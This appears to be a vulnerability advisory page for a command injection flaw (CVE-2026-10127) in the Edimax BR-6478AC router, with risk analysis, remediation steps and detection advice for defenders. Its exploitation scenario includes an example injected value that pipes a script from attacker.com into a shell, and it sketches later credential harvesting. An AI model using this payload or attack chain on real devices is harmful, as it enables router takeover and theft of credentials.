CVE-2026-10127: Edimax BR-6478AC: RCE via rootAPmac command injection
MEDIUMCVE-2026-10127 is a command injection flaw in the Edimax BR-6478AC 1.23 router's POST handler for `formStaDrvSetup`, where the `rootAPmac` parameter is passed unsanitized to an OS command (CWE-77/74), allowing any authenticated remote attacker with low privileges to execute arbitrary code on the device. Although the structured data flags no public exploit, the CVSS temporal vector explicitly includes E:P (Proof-of-Concept) and a working exploit walkthrough is publicly linked in the advisory references — this discrepancy means the practical exploitability is higher than the 6.3 medium score suggests. This router is not AI-native, but network devices positioned between internet egress and internal AI/ML infrastructure represent a pivot point: an attacker who owns the router can intercept inference API traffic, harvest credentials transiting the network, and move laterally into AI serving or training environments that implicitly trust the local network segment. If Edimax BR-6478AC devices exist in your environment, restrict management interface access to a dedicated management VLAN immediately, apply vendor firmware when released, and rotate any credentials that may have traversed the device.
What is the risk?
CVSS 6.3 medium understates real-world risk given the public PoC (E:P in CVSS temporal vector) and low authentication bar (PR:L, AC:L, AV:N). Any authenticated network user can exploit this without special tooling. The device itself is not AI-native, but its network position makes it a force-multiplier: compromise grants visibility into AI API traffic and network topology, enables credential harvesting, and provides a trusted pivot point toward inference servers, training clusters, or orchestration layers that trust the local segment.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| BR-6478AC | — | — | No patch |
Do you use BR-6478AC? You're affected.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
Inventory: Identify all Edimax BR-6478AC v1.23 devices across branch, edge, and lab environments.
-
Patch: Monitor VulnDB entry 367304 and the Edimax security advisory page for firmware update availability; apply immediately when released.
-
Compensating controls: Restrict access to /goform/* management endpoints to a dedicated management VLAN or specific trusted IP ranges via ACL; disable remote web management if not operationally required.
-
Credential hygiene: Change all default admin credentials; rotate any API keys, tokens, or service credentials that may have been transmitted through the compromised network path.
-
Detection: Alert on POST requests to /goform/formStaDrvSetup containing non-standard characters in MAC address fields (semicolons, pipes, backticks, dollar signs); monitor outbound connections from the router to unexpected external IPs suggesting reverse shell activity.
-
Segmentation: Ensure AI inference and training infrastructure is not reachable from the router's management segment.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-10127?
CVE-2026-10127 is a command injection flaw in the Edimax BR-6478AC 1.23 router's POST handler for `formStaDrvSetup`, where the `rootAPmac` parameter is passed unsanitized to an OS command (CWE-77/74), allowing any authenticated remote attacker with low privileges to execute arbitrary code on the device. Although the structured data flags no public exploit, the CVSS temporal vector explicitly includes E:P (Proof-of-Concept) and a working exploit walkthrough is publicly linked in the advisory references — this discrepancy means the practical exploitability is higher than the 6.3 medium score suggests. This router is not AI-native, but network devices positioned between internet egress and internal AI/ML infrastructure represent a pivot point: an attacker who owns the router can intercept inference API traffic, harvest credentials transiting the network, and move laterally into AI serving or training environments that implicitly trust the local network segment. If Edimax BR-6478AC devices exist in your environment, restrict management interface access to a dedicated management VLAN immediately, apply vendor firmware when released, and rotate any credentials that may have traversed the device.
Is CVE-2026-10127 actively exploited?
No confirmed active exploitation of CVE-2026-10127 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-10127?
1. Inventory: Identify all Edimax BR-6478AC v1.23 devices across branch, edge, and lab environments. 2. Patch: Monitor VulnDB entry 367304 and the Edimax security advisory page for firmware update availability; apply immediately when released. 3. Compensating controls: Restrict access to /goform/* management endpoints to a dedicated management VLAN or specific trusted IP ranges via ACL; disable remote web management if not operationally required. 4. Credential hygiene: Change all default admin credentials; rotate any API keys, tokens, or service credentials that may have been transmitted through the compromised network path. 5. Detection: Alert on POST requests to /goform/formStaDrvSetup containing non-standard characters in MAC address fields (semicolons, pipes, backticks, dollar signs); monitor outbound connections from the router to unexpected external IPs suggesting reverse shell activity. 6. Segmentation: Ensure AI inference and training infrastructure is not reachable from the router's management segment.
What systems are affected by CVE-2026-10127?
This vulnerability affects the following AI/ML architecture patterns: edge AI deployments, on-premises AI/ML infrastructure, IoT AI systems.
What is the CVSS score for CVE-2026-10127?
CVE-2026-10127 has a CVSS v3.1 base score of 6.3 (MEDIUM).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0006 Active Scanning AML.T0025 Exfiltration via Cyber Means AML.T0049 Exploit Public-Facing Application AML.T0072 Reverse Shell Compliance Controls Affected
What are the technical details?
Original Advisory
A weakness has been identified in Edimax BR-6478AC 1.23. This affects the function formStaDrvSetup of the file /goform/formStaDrvSetup of the component POST Request Handler. This manipulation of the argument rootAPmac causes command injection. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks.
Exploitation Scenario
An attacker with low-privilege access to the Edimax web interface — obtained via default credentials, brute force, or lateral movement from a compromised internal host — sends a crafted POST request to /goform/formStaDrvSetup with a rootAPmac value such as `AA:BB:CC:DD:EE:FF;curl http://attacker.com/shell.sh|sh`. The POST handler passes this value directly to a system() or popen() call without sanitization. The injected shell command downloads and executes a backdoor, establishing a persistent reverse shell on the embedded OS. In an AI/ML environment, the attacker then uses this foothold to run tcpdump or ARP spoofing to capture inference API traffic (harvesting Anthropic/OpenAI API keys or proprietary model endpoints), enumerate internal AI serving hosts, or inject malicious responses into unencrypted model serving traffic.
Weaknesses (CWE)
CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection') CWE-74 — Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'): The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.
- [Requirements] Programming languages and supporting technologies might be chosen which are not subject to these issues.
- [Implementation] Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L/E:P/RL:X/RC:R References
- lavender-bicycle-a5a.notion.site/EDIMAX-BR6478ACV2-formStaDrvSetup-34b53a41781f80ce9e66dbf60c71b960 exploit
- vuldb.com/submit/818455 third-party-advisory
- vuldb.com/vuln/367304 vdb-entry technical-description
- vuldb.com/vuln/367304/cti signature permissions-required
Timeline
Related Vulnerabilities
CVE-2023-3765 10.0 MLflow: path traversal allows arbitrary file read
Same attack type: Data Extraction CVE-2025-5120 10.0 smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Code Execution CVE-2025-2828 10.0 LangChain RequestsToolkit: SSRF exposes cloud metadata
Same attack type: Data Extraction CVE-2025-53767 10.0 Azure OpenAI: SSRF EoP, no auth required (CVSS 10)
Same attack type: Data Extraction CVE-2025-59528 10.0 Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Code Execution